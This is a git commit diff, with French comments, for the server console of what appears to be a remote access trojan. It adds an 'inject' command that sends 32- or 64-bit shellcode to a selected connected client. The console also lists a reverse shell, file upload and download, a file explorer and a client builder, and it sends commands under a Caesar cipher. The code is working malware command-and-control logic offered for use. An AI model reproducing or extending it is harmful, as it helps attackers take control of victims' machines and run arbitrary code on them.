ajout du début de l'injection de shellcode

à faire: injecter le shellcode, trouver un moyen pour télécharger le shellcode dans le buffer sans passer par un fichier intermédiaire en utilisant la même fonction que pour l'upload
This commit is contained in:
2023-02-21 21:28:16 +01:00
parent 72b4761011
commit ab627f939d
10 changed files with 219 additions and 22 deletions

View File

@@ -171,7 +171,7 @@ def interact() :
if CLIENT_IN_PATH == None : return "no client"
client = CONNECT_CLIENTS[CLIENT_IN_PATH]
print(file_list)
#print(file_list)
addr = client.getpeername()[0]
addr = os.getcwd() + "\\" + addr.replace(".","_")
@@ -201,12 +201,13 @@ def interact() :
print("\n\nTéléchargement terminé.\n\n")
case "upload" :
print("\n\nUpload...\n\n")
filename = easygui.fileopenbox()
if filename == None or path_file_ex_2 == "" :
return 'no file selected'
print(f"{filename} --> {path_file_ex_2}")
#print(f"{filename} --> {path_file_ex_2}")
client.send(CAESAR("upload_file\0").encode())
@@ -215,6 +216,7 @@ def interact() :
fp = open(filename, "rb")
upload_file(fp, client)
print("\n\nUpload terminé.\n\n")
case "remove" :
for i in files :
@@ -425,8 +427,9 @@ def main() -> None :
print("select <ID> : sélectionne le client avec lequel intéragir")
print("deselect : désélectionne le client précédemment séléctionné avec \"select\"")
print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"")
print("build : build un client")
print("fex : ouvre l'explorateur de fichiers")
print("inject <ARCH> <FILE> : upload un shellcode. ARCH --> 32/64")
print("build : build un client")
print("")
elif cmd == "exit" :
@@ -532,6 +535,37 @@ def main() -> None :
print("\nClique sur le lien ci-dessous pour voir le file explorer :")
print("http://127.0.0.1:5000\n")
elif "inject" in cmd :
if SELECTED_CLIENT == -1 :
print("Vous n'avez aucun client sélectionné.")
continue
client = CONNECT_CLIENTS[SELECTED_CLIENT]
parts = cmd.split(" ")
if len(parts) > 3 or len(parts) <= 2 :
print("Commande mal formée, \"help\" pour la syntaxe.")
continue
arch = parts[1]
if arch != "32" and arch != "64" :
print("Commande mal formée, \"help\" pour la syntaxe.")
continue
fichier = parts[2]
if not os.path.isfile(fichier) :
print(f"{fichier} n'a pas été trouvé.")
continue
client.send(CAESAR("inject").encode())
if arch == "32" :
client.send(CAESAR("x86").encode())
else :
client.send(CAESAR("x64").encode())
fp = open(fichier, "rb")
upload_file(fp, client)
else :
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")